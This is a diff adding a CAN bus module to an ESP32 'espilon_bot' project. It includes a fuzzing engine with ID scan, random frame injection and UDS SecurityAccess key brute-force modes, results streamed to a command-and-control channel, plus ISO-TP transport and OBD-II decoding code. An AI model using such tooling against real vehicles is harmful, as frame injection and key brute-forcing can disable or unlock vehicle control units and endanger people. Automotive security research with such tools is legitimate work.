case FUZZ_MODE_DATA_MUTATE: fuzz_data_mutate(); break;
|
||||
case FUZZ_MODE_RANDOM: fuzz_random(); break;
|
||||
case FUZZ_MODE_UDS_AUTH: fuzz_uds_auth(); break;
|
||||
}
|
||||
|
||||
/* Report completion */
|
||||
char done[80];
|
||||
snprintf(done, sizeof(done), "FUZZ_DONE|sent=%"PRIu32"|responses=%"PRIu32,
|
||||
s_fuzz_count, s_fuzz_responses);
|
||||
msg_data(TAG, done, strlen(done), true, s_fuzz_req_id);
|
||||
|
||||
s_fuzz_running = false;
|
||||
s_fuzz_task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
bool can_fuzz_start(const fuzz_config_t *cfg, const char *request_id)
|
||||
{
|
||||
if (!s_fuzz_mutex) s_fuzz_mutex = xSemaphoreCreateMutex();
|
||||
xSemaphoreTake(s_fuzz_mutex, portMAX_DELAY);
|
||||
|
||||
if (s_fuzz_running) {
|
||||
ESP_LOGW(TAG, "Fuzzing already in progress");
|
||||
xSemaphoreGive(s_fuzz_mutex);
|
||||
return false;
|
||||
}
|
||||
if (!can_driver_is_running()) {
|
||||
ESP_LOGE(TAG, "CAN driver not running");
|
||||
xSemaphoreGive(s_fuzz_mutex);
|
||||
return false;
|
||||
}
|
||||
|
||||
s_fuzz_cfg = *cfg;
|
||||
s_fuzz_req_id = request_id;
|
||||
s_fuzz_running = true;
|
||||
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(
|
||||
fuzz_task, "can_fuzz", 4096, NULL, 3, &s_fuzz_task, 1
|
||||
);
|
||||
|
||||
if (ret != pdPASS) {
|
||||
s_fuzz_running = false;
|
||||
xSemaphoreGive(s_fuzz_mutex);
|
||||
return false;
|
||||
}
|
||||
|
||||
xSemaphoreGive(s_fuzz_mutex);
|
||||
return true;
|
||||
}
|
||||
|
||||
void can_fuzz_stop(void)
|
||||
{
|
||||
if (!s_fuzz_mutex) s_fuzz_mutex = xSemaphoreCreateMutex();
|
||||
xSemaphoreTake(s_fuzz_mutex, portMAX_DELAY);
|
||||
s_fuzz_running = false;
|
||||
xSemaphoreGive(s_fuzz_mutex);
|
||||
|
||||
for (int i = 0; i < 20 && s_fuzz_task != NULL; i++) {
|
||||
vTaskDelay(pdMS_TO_TICKS(50));
|
||||
}
|
||||
}
|
||||
|
||||
bool can_fuzz_is_running(void)
|
||||
{
|
||||
return s_fuzz_running;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_FUZZ */
|
||||
42
espilon_bot/components/mod_canbus/canbus_fuzz.h
Normal file
42
espilon_bot/components/mod_canbus/canbus_fuzz.h
Normal file
@ -0,0 +1,42 @@
|
||||
/*
|
||||
* canbus_fuzz.h
|
||||
* CAN bus fuzzing engine — ID scan, data mutation, random injection, UDS auth brute-force.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef enum {
|
||||
FUZZ_MODE_ID_SCAN, /* Iterate all CAN IDs, fixed payload */
|
||||
FUZZ_MODE_DATA_MUTATE, /* Fixed ID, mutate data bytes systematically */
|
||||
FUZZ_MODE_RANDOM, /* Random ID + random data */
|
||||
FUZZ_MODE_UDS_AUTH, /* Brute-force UDS SecurityAccess keys */
|
||||
} fuzz_mode_t;
|
||||
|
||||
typedef struct {
|
||||
fuzz_mode_t mode;
|
||||
uint32_t id_start, id_end; /* For ID_SCAN range */
|
||||
uint32_t target_id; /* For DATA_MUTATE / UDS_AUTH */
|
||||
int delay_ms; /* Inter-frame delay */
|
||||
int max_iterations; /* 0 = unlimited */
|
||||
uint8_t seed_data[8]; /* Initial data for mutation */
|
||||
uint8_t seed_dlc; /* DLC for seed data */
|
||||
} fuzz_config_t;
|
||||
|
||||
/* Start fuzzing in background task. request_id for C2 streaming. */
|
||||
bool can_fuzz_start(const fuzz_config_t *cfg, const char *request_id);
|
||||
|
||||
/* Stop fuzzing */
|
||||
void can_fuzz_stop(void);
|
||||
|
||||
/* Check if fuzzing is active */
|
||||
bool can_fuzz_is_running(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
416
espilon_bot/components/mod_canbus/canbus_isotp.c
Normal file
416
espilon_bot/components/mod_canbus/canbus_isotp.c
Normal file
@ -0,0 +1,416 @@
|
||||
/*
|
||||
* canbus_isotp.c
|
||||
* ISO-TP (ISO 15765-2) transport layer implementation.
|
||||
*
|
||||
* Frame types:
|
||||
* Single Frame (SF): [0x0N | data...] N = length (1-7)
|
||||
* First Frame (FF): [0x1H 0xLL | 6 bytes] H:L = total length (up to 4095)
|
||||
* Consecutive Frame (CF): [0x2N | 7 bytes] N = sequence (0-F, wrapping)
|
||||
* Flow Control (FC): [0x30 BS ST] BS=block size, ST=separation time
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_ISO_TP)
|
||||
|
||||
#include <string.h>
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/semphr.h"
|
||||
#include "esp_timer.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
#include "canbus_isotp.h"
|
||||
#include "canbus_driver.h"
|
||||
|
||||
#define TAG "CAN_ISOTP"
|
||||
|
||||
/* Max ISO-TP payload (12-bit length field) */
|
||||
#define ISOTP_MAX_LEN 4095
|
||||
|
||||
/* Reassembly buffer (static — single concurrent transfer) */
|
||||
static uint8_t s_reassembly[ISOTP_MAX_LEN];
|
||||
|
||||
/* Synchronization: RX callback puts frame here, isotp functions wait on semaphore */
|
||||
static SemaphoreHandle_t s_rx_sem = NULL;
|
||||
static can_frame_t s_rx_frame;
|
||||
static volatile uint32_t s_listen_id = 0;
|
||||
static volatile bool s_listening = false;
|
||||
|
||||
/* Previous RX callback to chain */
|
||||
static can_rx_callback_t s_prev_cb = NULL;
|
||||
static void *s_prev_ctx = NULL;
|
||||
|
||||
/* ============================================================
|
||||
* Internal RX callback for ISO-TP framing
|
||||
* ============================================================ */
|
||||
|
||||
static void isotp_rx_callback(const can_frame_t *frame, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
|
||||
/* If we're listening for a specific ID, capture it */
|
||||
if (s_listening && frame->id == s_listen_id) {
|
||||
s_rx_frame = *frame;
|
||||
if (s_rx_sem) xSemaphoreGive(s_rx_sem);
|
||||
}
|
||||
|
||||
/* Chain to previous callback (sniff/record) */
|
||||
if (s_prev_cb) s_prev_cb(frame, s_prev_ctx);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Helpers
|
||||
* ============================================================ */
|
||||
|
||||
static void isotp_init_once(void)
|
||||
{
|
||||
if (!s_rx_sem) {
|
||||
s_rx_sem = xSemaphoreCreateBinary();
|
||||
}
|
||||
}
|
||||
|
||||
/* Hook our callback, saving the previous one */
|
||||
static void isotp_hook_rx(uint32_t listen_id)
|
||||
{
|
||||
isotp_init_once();
|
||||
|
||||
s_listen_id = listen_id;
|
||||
s_listening = true;
|
||||
|
||||
/* Clear any pending semaphore */
|
||||
xSemaphoreTake(s_rx_sem, 0);
|
||||
}
|
||||
|
||||
static void isotp_unhook_rx(void)
|
||||
{
|
||||
s_listening = false;
|
||||
s_listen_id = 0;
|
||||
}
|
||||
|
||||
/* Wait for a frame with the target ID, timeout in ms */
|
||||
static bool wait_frame(can_frame_t *out, int timeout_ms)
|
||||
{
|
||||
if (xSemaphoreTake(s_rx_sem, pdMS_TO_TICKS(timeout_ms)) == pdTRUE) {
|
||||
*out = s_rx_frame;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Send a single CAN frame (helper) */
|
||||
static bool send_frame(uint32_t id, const uint8_t *data, uint8_t dlc)
|
||||
{
|
||||
can_frame_t f = {
|
||||
.id = id,
|
||||
.dlc = dlc,
|
||||
.extended = (id > 0x7FF),
|
||||
.rtr = false,
|
||||
.timestamp_us = 0,
|
||||
};
|
||||
memcpy(f.data, data, dlc);
|
||||
return can_driver_send(&f);
|
||||
}
|
||||
|
||||
/* Send Flow Control frame: CTS (continue to send) */
|
||||
static bool send_fc(uint32_t tx_id, uint8_t block_size, uint8_t st_min)
|
||||
{
|
||||
uint8_t fc[8] = { 0x30, block_size, st_min, 0, 0, 0, 0, 0 };
|
||||
return send_frame(tx_id, fc, 8);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* isotp_send — Send ISO-TP message
|
||||
* ============================================================ */
|
||||
|
||||
isotp_status_t isotp_send(uint32_t tx_id, uint32_t rx_id,
|
||||
const uint8_t *data, size_t len,
|
||||
int timeout_ms)
|
||||
{
|
||||
if (!data || len == 0 || len > ISOTP_MAX_LEN) return ISOTP_ERROR;
|
||||
|
||||
isotp_init_once();
|
||||
|
||||
/* Single Frame: len <= 7 */
|
||||
if (len <= 7) {
|
||||
uint8_t sf[8] = { 0 };
|
||||
sf[0] = (uint8_t)(len & 0x0F); /* PCI: 0x0N */
|
||||
memcpy(&sf[1], data, len);
|
||||
if (!send_frame(tx_id, sf, 8)) return ISOTP_ERROR;
|
||||
return ISOTP_OK;
|
||||
}
|
||||
|
||||
/* Multi-frame: First Frame + wait FC + Consecutive Frames */
|
||||
|
||||
/* Send First Frame */
|
||||
uint8_t ff[8] = { 0 };
|
||||
ff[0] = 0x10 | (uint8_t)((len >> 8) & 0x0F);
|
||||
ff[1] = (uint8_t)(len & 0xFF);
|
||||
memcpy(&ff[2], data, 6);
|
||||
if (!send_frame(tx_id, ff, 8)) return ISOTP_ERROR;
|
||||
|
||||
/* Wait for Flow Control */
|
||||
isotp_hook_rx(rx_id);
|
||||
|
||||
can_frame_t fc;
|
||||
if (!wait_frame(&fc, timeout_ms)) {
|
||||
isotp_unhook_rx();
|
||||
ESP_LOGW(TAG, "FC timeout from 0x%03lX", (unsigned long)rx_id);
|
||||
return ISOTP_TIMEOUT;
|
||||
}
|
||||
|
||||
isotp_unhook_rx();
|
||||
|
||||
/* Parse FC */
|
||||
if ((fc.data[0] & 0xF0) != 0x30) {
|
||||
ESP_LOGW(TAG, "Expected FC, got PCI 0x%02X", fc.data[0]);
|
||||
return ISOTP_ERROR;
|
||||
}
|
||||
|
||||
uint8_t block_size = fc.data[1]; /* 0 = no limit */
|
||||
uint8_t st_min = fc.data[2]; /* Separation time in ms */
|
||||
|
||||
/* Send Consecutive Frames */
|
||||
size_t offset = 6; /* First 6 bytes already sent in FF */
|
||||
uint8_t seq = 1;
|
||||
uint8_t blocks_sent = 0;
|
||||
|
||||
while (offset < len) {
|
||||
uint8_t cf[8] = { 0 };
|
||||
cf[0] = 0x20 | (seq & 0x0F);
|
||||
|
||||
size_t chunk = len - offset;
|
||||
if (chunk > 7) chunk = 7;
|
||||
memcpy(&cf[1], &data[offset], chunk);
|
||||
|
||||
if (!send_frame(tx_id, cf, 8)) return ISOTP_ERROR;
|
||||
|
||||
offset += chunk;
|
||||
seq = (seq + 1) & 0x0F;
|
||||
blocks_sent++;
|
||||
|
||||
/* Respect separation time */
|
||||
if (st_min > 0 && st_min <= 127) {
|
||||
vTaskDelay(pdMS_TO_TICKS(st_min));
|
||||
}
|
||||
|
||||
/* Block size flow control */
|
||||
if (block_size > 0 && blocks_sent >= block_size && offset < len) {
|
||||
blocks_sent = 0;
|
||||
isotp_hook_rx(rx_id);
|
||||
if (!wait_frame(&fc, timeout_ms)) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_TIMEOUT;
|
||||
}
|
||||
isotp_unhook_rx();
|
||||
if ((fc.data[0] & 0xF0) != 0x30) return ISOTP_ERROR;
|
||||
block_size = fc.data[1];
|
||||
st_min = fc.data[2];
|
||||
}
|
||||
}
|
||||
|
||||
return ISOTP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* isotp_recv — Receive ISO-TP message
|
||||
* ============================================================ */
|
||||
|
||||
isotp_status_t isotp_recv(uint32_t rx_id,
|
||||
uint8_t *buf, size_t buf_cap, size_t *out_len,
|
||||
int timeout_ms)
|
||||
{
|
||||
if (!buf || buf_cap == 0 || !out_len) return ISOTP_ERROR;
|
||||
*out_len = 0;
|
||||
|
||||
isotp_hook_rx(rx_id);
|
||||
|
||||
can_frame_t frame;
|
||||
if (!wait_frame(&frame, timeout_ms)) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_TIMEOUT;
|
||||
}
|
||||
|
||||
uint8_t pci_type = frame.data[0] & 0xF0;
|
||||
|
||||
/* Single Frame */
|
||||
if (pci_type == 0x00) {
|
||||
isotp_unhook_rx();
|
||||
size_t sf_len = frame.data[0] & 0x0F;
|
||||
if (sf_len == 0 || sf_len > 7 || sf_len > buf_cap) return ISOTP_ERROR;
|
||||
memcpy(buf, &frame.data[1], sf_len);
|
||||
*out_len = sf_len;
|
||||
return ISOTP_OK;
|
||||
}
|
||||
|
||||
/* First Frame */
|
||||
if (pci_type != 0x10) {
|
||||
isotp_unhook_rx();
|
||||
ESP_LOGW(TAG, "Expected SF/FF, got PCI 0x%02X", frame.data[0]);
|
||||
return ISOTP_ERROR;
|
||||
}
|
||||
|
||||
size_t total_len = ((size_t)(frame.data[0] & 0x0F) << 8) | frame.data[1];
|
||||
if (total_len > buf_cap || total_len > ISOTP_MAX_LEN) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_OVERFLOW;
|
||||
}
|
||||
|
||||
/* Copy first 6 data bytes from FF */
|
||||
size_t received = (total_len < 6) ? total_len : 6;
|
||||
memcpy(buf, &frame.data[2], received);
|
||||
|
||||
/* We need to figure out the TX ID to send FC back.
|
||||
* Convention: if rx_id is in 0x7E8-0x7EF range, tx_id = rx_id - 8.
|
||||
* For functional requests, FC goes to rx_id - 8.
|
||||
* Caller should use isotp_request() for proper bidirectional comms. */
|
||||
uint32_t fc_tx_id = (rx_id >= 0x7E8 && rx_id <= 0x7EF)
|
||||
? (rx_id - 8)
|
||||
: (rx_id - 1);
|
||||
|
||||
/* Send Flow Control: continue, no block limit, 0ms separation */
|
||||
send_fc(fc_tx_id, 0, 0);
|
||||
|
||||
/* Receive Consecutive Frames */
|
||||
uint8_t expected_seq = 1;
|
||||
while (received < total_len) {
|
||||
if (!wait_frame(&frame, timeout_ms)) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_TIMEOUT;
|
||||
}
|
||||
|
||||
if ((frame.data[0] & 0xF0) != 0x20) {
|
||||
isotp_unhook_rx();
|
||||
ESP_LOGW(TAG, "Expected CF, got PCI 0x%02X", frame.data[0]);
|
||||
return ISOTP_ERROR;
|
||||
}
|
||||
|
||||
uint8_t seq = frame.data[0] & 0x0F;
|
||||
if (seq != (expected_seq & 0x0F)) {
|
||||
ESP_LOGW(TAG, "CF seq mismatch: expected %u, got %u",
|
||||
expected_seq & 0x0F, seq);
|
||||
}
|
||||
expected_seq++;
|
||||
|
||||
size_t chunk = total_len - received;
|
||||
if (chunk > 7) chunk = 7;
|
||||
memcpy(&buf[received], &frame.data[1], chunk);
|
||||
received += chunk;
|
||||
}
|
||||
|
||||
isotp_unhook_rx();
|
||||
*out_len = total_len;
|
||||
return ISOTP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* isotp_request — Send + Receive (UDS request-response pattern)
|
||||
* ============================================================ */
|
||||
|
||||
isotp_status_t isotp_request(uint32_t tx_id, uint32_t rx_id,
|
||||
const uint8_t *req, size_t req_len,
|
||||
uint8_t *resp, size_t resp_cap, size_t *resp_len,
|
||||
int timeout_ms)
|
||||
{
|
||||
if (!resp || !resp_len) return ISOTP_ERROR;
|
||||
*resp_len = 0;
|
||||
|
||||
isotp_init_once();
|
||||
|
||||
/* For request-response, we need to listen before sending
|
||||
* (the response may come very quickly after the request) */
|
||||
isotp_hook_rx(rx_id);
|
||||
|
||||
/* Send request */
|
||||
isotp_status_t st;
|
||||
|
||||
if (req_len <= 7) {
|
||||
/* Single frame — send directly and wait for response */
|
||||
uint8_t sf[8] = { 0 };
|
||||
sf[0] = (uint8_t)(req_len & 0x0F);
|
||||
memcpy(&sf[1], req, req_len);
|
||||
if (!send_frame(tx_id, sf, 8)) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_ERROR;
|
||||
}
|
||||
} else {
|
||||
/* Multi-frame send — unhook first since isotp_send hooks itself */
|
||||
isotp_unhook_rx();
|
||||
st = isotp_send(tx_id, rx_id, req, req_len, timeout_ms);
|
||||
if (st != ISOTP_OK) return st;
|
||||
isotp_hook_rx(rx_id);
|
||||
}
|
||||
|
||||
/* Wait for response (may be SF or FF+CF) */
|
||||
can_frame_t frame;
|
||||
if (!wait_frame(&frame, timeout_ms)) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_TIMEOUT;
|
||||
}
|
||||
|
||||
uint8_t pci_type = frame.data[0] & 0xF0;
|
||||
|
||||
/* Single Frame response */
|
||||
if (pci_type == 0x00) {
|
||||
isotp_unhook_rx();
|
||||
size_t sf_len = frame.data[0] & 0x0F;
|
||||
if (sf_len == 0 || sf_len > 7 || sf_len > resp_cap) return ISOTP_ERROR;
|
||||
memcpy(resp, &frame.data[1], sf_len);
|
||||
*resp_len = sf_len;
|
||||
return ISOTP_OK;
|
||||
}
|
||||
|
||||
/* First Frame response */
|
||||
if (pci_type == 0x10) {
|
||||
size_t total_len = ((size_t)(frame.data[0] & 0x0F) << 8) | frame.data[1];
|
||||
if (total_len > resp_cap || total_len > ISOTP_MAX_LEN) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_OVERFLOW;
|
||||
}
|
||||
|
||||
size_t received = (total_len < 6) ? total_len : 6;
|
||||
memcpy(resp, &frame.data[2], received);
|
||||
|
||||
/* Send FC */
|
||||
send_fc(tx_id, 0, 0);
|
||||
|
||||
/* Receive CFs */
|
||||
uint8_t expected_seq = 1;
|
||||
while (received < total_len) {
|
||||
if (!wait_frame(&frame, timeout_ms)) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_TIMEOUT;
|
||||
}
|
||||
if ((frame.data[0] & 0xF0) != 0x20) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_ERROR;
|
||||
}
|
||||
expected_seq++;
|
||||
|
||||
size_t chunk = total_len - received;
|
||||
if (chunk > 7) chunk = 7;
|
||||
memcpy(&resp[received], &frame.data[1], chunk);
|
||||
received += chunk;
|
||||
}
|
||||
|
||||
isotp_unhook_rx();
|
||||
*resp_len = total_len;
|
||||
return ISOTP_OK;
|
||||
}
|
||||
|
||||
isotp_unhook_rx();
|
||||
ESP_LOGW(TAG, "Unexpected PCI type 0x%02X in response", frame.data[0]);
|
||||
return ISOTP_ERROR;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Install ISO-TP RX hook into the CAN driver
|
||||
* ============================================================ */
|
||||
|
||||
void isotp_install_hook(void)
|
||||
{
|
||||
isotp_init_once();
|
||||
/* Save the current callback so we can chain to it */
|
||||
can_driver_get_rx_callback(&s_prev_cb, &s_prev_ctx);
|
||||
can_driver_set_rx_callback(isotp_rx_callback, NULL);
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_ISO_TP */
|
||||
70
espilon_bot/components/mod_canbus/canbus_isotp.h
Normal file
70
espilon_bot/components/mod_canbus/canbus_isotp.h
Normal file
@ -0,0 +1,70 @@
|
||||
/*
|
||||
* canbus_isotp.h
|
||||
* ISO-TP (ISO 15765-2) transport layer for CAN bus.
|
||||
* Handles multi-frame messaging (> 8 bytes) required by UDS and OBD-II.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef enum {
|
||||
ISOTP_OK = 0,
|
||||
ISOTP_TIMEOUT,
|
||||
ISOTP_OVERFLOW,
|
||||
ISOTP_ERROR,
|
||||
} isotp_status_t;
|
||||
|
||||
/*
|
||||
* Send an ISO-TP message (blocking).
|
||||
* Handles Single Frame for len <= 7, or First Frame + Consecutive Frames.
|
||||
* Waits for Flow Control frame from receiver if multi-frame.
|
||||
*
|
||||
* tx_id: CAN arbitration ID for outgoing frames
|
||||
* rx_id: CAN arbitration ID for incoming Flow Control
|
||||
* data/len: payload to send
|
||||
* timeout_ms: max wait for Flow Control response
|
||||
*/
|
||||
isotp_status_t isotp_send(uint32_t tx_id, uint32_t rx_id,
|
||||
const uint8_t *data, size_t len,
|
||||
int timeout_ms);
|
||||
|
||||
/*
|
||||
* Receive an ISO-TP message (blocking).
|
||||
* Reassembles Single Frame or First Frame + Consecutive Frames.
|
||||
* Sends Flow Control frame to sender if multi-frame.
|
||||
*
|
||||
* rx_id: CAN arbitration ID to listen for
|
||||
* buf/buf_cap: output buffer
|
||||
* out_len: actual received length
|
||||
* timeout_ms: max wait time
|
||||
*/
|
||||
isotp_status_t isotp_recv(uint32_t rx_id,
|
||||
uint8_t *buf, size_t buf_cap, size_t *out_len,
|
||||
int timeout_ms);
|
||||
|
||||
/*
|
||||
* Request-Response: send then receive (most common UDS pattern).
|
||||
* Combines isotp_send() + isotp_recv() with proper FC handling.
|
||||
*
|
||||
* tx_id/rx_id: CAN ID pair (e.g. 0x7E0/0x7E8 for ECU diagnostics)
|
||||
*/
|
||||
isotp_status_t isotp_request(uint32_t tx_id, uint32_t rx_id,
|
||||
const uint8_t *req, size_t req_len,
|
||||
uint8_t *resp, size_t resp_cap, size_t *resp_len,
|
||||
int timeout_ms);
|
||||
|
||||
/*
|
||||
* Install ISO-TP RX hook into the CAN driver callback chain.
|
||||
* Must be called after can_driver_set_rx_callback() so that the
|
||||
* previous callback (sniff/record) is preserved in the chain.
|
||||
*/
|
||||
void isotp_install_hook(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
357
espilon_bot/components/mod_canbus/canbus_obd.c
Normal file
357
espilon_bot/components/mod_canbus/canbus_obd.c
Normal file
@ -0,0 +1,357 @@
|
||||
/*
|
||||
* canbus_obd.c
|
||||
* OBD-II PID decoder with lookup table for ~40 common PIDs.
|
||||
*
|
||||
* Uses ISO-TP for communication (even single-frame OBD fits in SF,
|
||||
* but VIN and DTC responses may require multi-frame).
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_OBD)
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/semphr.h"
|
||||
|
||||
#include "canbus_obd.h"
|
||||
#include "canbus_isotp.h"
|
||||
#include "canbus_driver.h"
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "CAN_OBD"
|
||||
|
||||
/* ============================================================
|
||||
* PID Decoder Table
|
||||
* ============================================================ */
|
||||
|
||||
typedef float (*decode_fn_t)(const uint8_t *data, int len);
|
||||
|
||||
typedef struct {
|
||||
uint8_t pid;
|
||||
const char *name;
|
||||
const char *unit;
|
||||
int data_bytes; /* Expected response data bytes (A, AB, ABC...) */
|
||||
decode_fn_t decode;
|
||||
} pid_decoder_t;
|
||||
|
||||
/* Decode functions — all check buffer length before access */
|
||||
static float decode_a(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0]; }
|
||||
static float decode_a_minus_40(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] - 40.0f; }
|
||||
static float decode_a_percent(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] * 100.0f / 255.0f; }
|
||||
static float decode_ab(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]); }
|
||||
static float decode_ab_div_4(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]) / 4.0f; }
|
||||
static float decode_a_div_2_m64(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] / 2.0f - 64.0f; }
|
||||
static float decode_ab_div_100(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]) / 100.0f; }
|
||||
static float decode_a_x3(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] * 3.0f; }
|
||||
static float decode_ab_div_20(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]) / 20.0f; }
|
||||
static float decode_signed_a_minus_128(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] - 128.0f; }
|
||||
|
||||
static const pid_decoder_t s_pid_table[] = {
|
||||
/* PID Name Unit Bytes Decoder */
|
||||
{ 0x04, "Engine Load", "%", 1, decode_a_percent },
|
||||
{ 0x05, "Coolant Temp", "C", 1, decode_a_minus_40 },
|
||||
{ 0x06, "Short Fuel Trim B1", "%", 1, decode_signed_a_minus_128 },
|
||||
{ 0x07, "Long Fuel Trim B1", "%", 1, decode_signed_a_minus_128 },
|
||||
{ 0x0B, "Intake MAP", "kPa", 1, decode_a },
|
||||
{ 0x0C, "Engine RPM", "rpm", 2, decode_ab_div_4 },
|
||||
{ 0x0D, "Vehicle Speed", "km/h", 1, decode_a },
|
||||
{ 0x0E, "Timing Advance", "deg", 1, decode_a_div_2_m64 },
|
||||
{ 0x0F, "Intake Temp", "C", 1, decode_a_minus_40 },
|
||||
{ 0x10, "MAF Rate", "g/s", 2, decode_ab_div_100 },
|
||||
{ 0x11, "Throttle Position", "%", 1, decode_a_percent },
|
||||
{ 0x1C, "OBD Standard", "", 1, decode_a },
|
||||
{ 0x1F, "Engine Runtime", "s", 2, decode_ab },
|
||||
{ 0x21, "Distance w/ MIL", "km", 2, decode_ab },
|
||||
{ 0x2C, "Commanded EGR", "%", 1, decode_a_percent },
|
||||
{ 0x2F, "Fuel Level", "%", 1, decode_a_percent },
|
||||
{ 0x30, "Warmups since DTC clear", "", 1, decode_a },
|
||||
{ 0x31, "Distance since DTC clear", "km", 2, decode_ab },
|
||||
{ 0x33, "Baro Pressure", "kPa", 1, decode_a },
|
||||
{ 0x42, "Control Module Voltage", "V", 2, decode_ab_div_100 }, /* Approx */
|
||||
{ 0x45, "Relative Throttle", "%", 1, decode_a_percent },
|
||||
{ 0x46, "Ambient Temp", "C", 1, decode_a_minus_40 },
|
||||
{ 0x49, "Accelerator Position D", "%", 1, decode_a_percent },
|
||||
{ 0x4A, "Accelerator Position E", "%", 1, decode_a_percent },
|
||||
{ 0x4C, "Commanded Throttle", "%", 1, decode_a_percent },
|
||||
{ 0x5C, "Oil Temp", "C", 1, decode_a_minus_40 },
|
||||
{ 0x5E, "Fuel Rate", "L/h", 2, decode_ab_div_20 },
|
||||
{ 0x67, "Coolant Temp (wide)", "C", 1, decode_a_minus_40 }, /* First byte only */
|
||||
{ 0xA6, "Odometer", "km", 2, decode_ab }, /* Simplified */
|
||||
};
|
||||
|
||||
#define PID_TABLE_SIZE (sizeof(s_pid_table) / sizeof(s_pid_table[0]))
|
||||
|
||||
/* Find decoder for a PID */
|
||||
static const pid_decoder_t *find_pid(uint8_t pid)
|
||||
{
|
||||
for (int i = 0; i < (int)PID_TABLE_SIZE; i++) {
|
||||
if (s_pid_table[i].pid == pid) return &s_pid_table[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* OBD-II Communication (via ISO-TP)
|
||||
* ============================================================ */
|
||||
|
||||
/* Send OBD request and receive response */
|
||||
static int obd_transact(uint8_t mode, uint8_t pid,
|
||||
uint8_t *resp, size_t resp_cap, size_t *resp_len)
|
||||
{
|
||||
uint8_t req[2] = { mode, pid };
|
||||
|
||||
/* Use functional broadcast (0x7DF) for Mode 01/03/09 */
|
||||
/* Listen on first responder (0x7E8) — most vehicles respond here */
|
||||
isotp_status_t st = isotp_request(
|
||||
OBD_REQUEST_ID, OBD_RESPONSE_MIN,
|
||||
req, 2,
|
||||
resp, resp_cap, resp_len,
|
||||
2000
|
||||
);
|
||||
|
||||
return (st == ISOTP_OK) ? 0 : -1;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
int obd_query_pid(uint8_t mode, uint8_t pid, obd_result_t *out)
|
||||
{
|
||||
if (!out) return -1;
|
||||
memset(out, 0, sizeof(*out));
|
||||
|
||||
uint8_t resp[16];
|
||||
size_t resp_len = 0;
|
||||
|
||||
if (obd_transact(mode, pid, resp, sizeof(resp), &resp_len) < 0) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Response: mode+0x40, PID, data bytes */
|
||||
if (resp_len < 2 || resp[0] != (mode + 0x40) || resp[1] != pid) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
out->pid = pid;
|
||||
|
||||
/* Try to decode with known PID table */
|
||||
const pid_decoder_t *dec = find_pid(pid);
|
||||
if (dec) {
|
||||
out->name = dec->name;
|
||||
out->unit = dec->unit;
|
||||
int data_offset = 2; /* After mode+0x40 and PID */
|
||||
int data_avail = (int)resp_len - data_offset;
|
||||
if (data_avail >= dec->data_bytes) {
|
||||
out->value = dec->decode(&resp[data_offset], data_avail);
|
||||
}
|
||||
} else {
|
||||
out->name = "Unknown";
|
||||
out->unit = "";
|
||||
out->value = (resp_len > 2) ? (float)resp[2] : 0;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int obd_query_supported(uint8_t pids_out[], int max_pids)
|
||||
{
|
||||
int total = 0;
|
||||
uint8_t resp[16];
|
||||
size_t resp_len = 0;
|
||||
|
||||
